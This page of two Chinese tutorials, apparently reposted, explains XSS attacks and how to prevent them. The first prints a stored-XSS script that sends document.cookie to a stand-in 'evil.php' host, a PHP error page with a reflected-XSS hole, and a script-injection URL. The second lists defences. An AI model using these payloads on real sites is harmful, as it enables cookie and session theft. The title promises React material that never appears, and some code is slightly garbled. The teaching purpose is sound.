整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

浅谈 React 中的 XSS 攻击

者:陈吉

转发链接:https://mp.weixin.qq.com/s/HweEFh78WXLawyQr_Vsl5g

ss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击。基本的做法是把恶意代码注入到目标网站。由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会无差别执行恶意脚本,从而导致用户信息和一些敏感信息被盗取和泄漏。

xss一般分为两种类型,持久化的xss和非持久化的xss。

持久化xss

下面这个例子演示了攻击者如何通过注入恶意代码去盗取用户的cookie的。

假设攻击者在某个论坛发了个帖子,在帖子里包含了如下的恶意代码

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

那么其他用户在浏览这个帖子的时候,上面的代码就会被浏览器执行,从而将用户的cookie信息发送到了/evil.php?,这个攻击者搭建的恶意站点。由于cookie里包含了用户的一些登录态和敏感信息,所以访问这个帖子的用户会面临被盗号的风险。

还原一下这次攻击的过程

  • 攻击者在论坛发了包含恶意代码的帖子

  • 一般来说这个帖子的内容会保存在数据库里(持久化)

  • 攻击者诱导其他用户去访问这个帖子

  • 其他用户访问该帖子时网站后台会从数据库里读取帖子的内容并发送给浏览器

  • 浏览器渲染帖子的内容时执行了恶意脚本

  • 恶意脚本将用户的cookie偷偷发送给恶意网站evil.php

非持久化的xss

上面的例子攻击代码持久化在了数据库里,非持久化的攻击则不需要这样,看下面的例子。

假设我们有这样的一个错误页面,用php实现的

<html>
<body><? phpprint "Not found: " . urldecode($_SERVER["REQUEST_URI"]);?></body>
</html>

当用户访问的页面不存在时候,上面的页面会自动加载,并且print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);这一行会打印出不存在页面的具体url。

举个例子,当用户访问www.example.com/page_missing页面时,由于page_missing页面不存在,所以example.com会自动跳转到page_missing路径,并在页面上打印出Not found: page_missing字符串。

如果攻击者构造了这样一个链接,诱导用户访问http://wwww.example.com/<script>alert("TEST");</script>,那么普通用户访问该链接时,因为/<script>alert("TEST");</script>会被打印在页面上并当作普通脚本执行,这样一来,如果攻击者构造的脚本里包含获取用户敏感信息的代码,那么用户的信息将被泄漏。

还原一下这次攻击的过程

  • 攻击者构造http://wwww.example.com/<script>alert("TEST");</script>链接,引诱普通用户访问

  • 普通用户访问后,跳转到错误页面

  • 错误页面会执行恶意脚本,造成用户信息泄漏

总结

xss攻击是目前最常见的web攻击形式,大家可以通过上面的例子管中窥豹一下,其核心的攻击方式是恶意代码注入,浏览器将注入的代码当成普通脚本正常执行。


作者:西边人

西说测试专栏作者

站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者通过在受信任的网页中注入恶意脚本,从而在用户的浏览器中执行该恶意脚本。

XSS 攻击的一般过程如下:

  1. 攻击者找到一个存在 XSS 漏洞的网站,通常是用户输入的地方,如搜索框、评论区等。
  2. 攻击者在输入框中注入恶意的脚本代码,这些代码可以是 JavaScript、HTML 或其他客户端脚本语言。
  3. 用户访问了包含恶意脚本的网页。
  4. 用户的浏览器解析网页时会执行恶意脚本,攻击者可以利用这些脚本进行各种恶意操作,如窃取用户的敏感信息、劫持用户的会话、修改网页内容等。

XSS 攻击可以分为以下几种类型:

  1. 存储型 XSS:恶意脚本被存储在服务器上,当用户请求包含恶意脚本的页面时,脚本会从服务器上被取回并执行。
  2. 反射型 XSS:恶意脚本作为 URL 参数被发送到服务器,服务器将脚本插入到响应中并返回给用户,用户的浏览器解析并执行该脚本。
  3. DOM 型 XSS:恶意脚本通过修改网页的 DOM 结构来执行攻击,不涉及服务器的参与。

为了防止 XSS 攻击,可以采取以下几种措施:

  1. 输入验证与过滤:对用户输入的数据进行验证和过滤,确保只接受合法的输入数据。
  2. 输出编码:在将用户输入的数据展示到网页上时,对特殊字符进行转义,确保将其作为纯文本显示而不会被解析为脚本。
  3. 使用 HTTP-only Cookie:将敏感信息存储在 HTTP-only Cookie 中,防止恶意脚本窃取用户的身份验证凭据。
  4. Content Security Policy(CSP):通过设置合适的 CSP,限制网页中可以加载和执行的资源,防止恶意脚本的注入。
  5. 安全的开发实践:开发人员应该遵循安全的编码和开发实践,包括输入验证、输出编码、最小权限原则等。

通过综合采取这些安全措施,可以有效地减少 XSS 攻击的风险,保护用户的数据安全和隐私。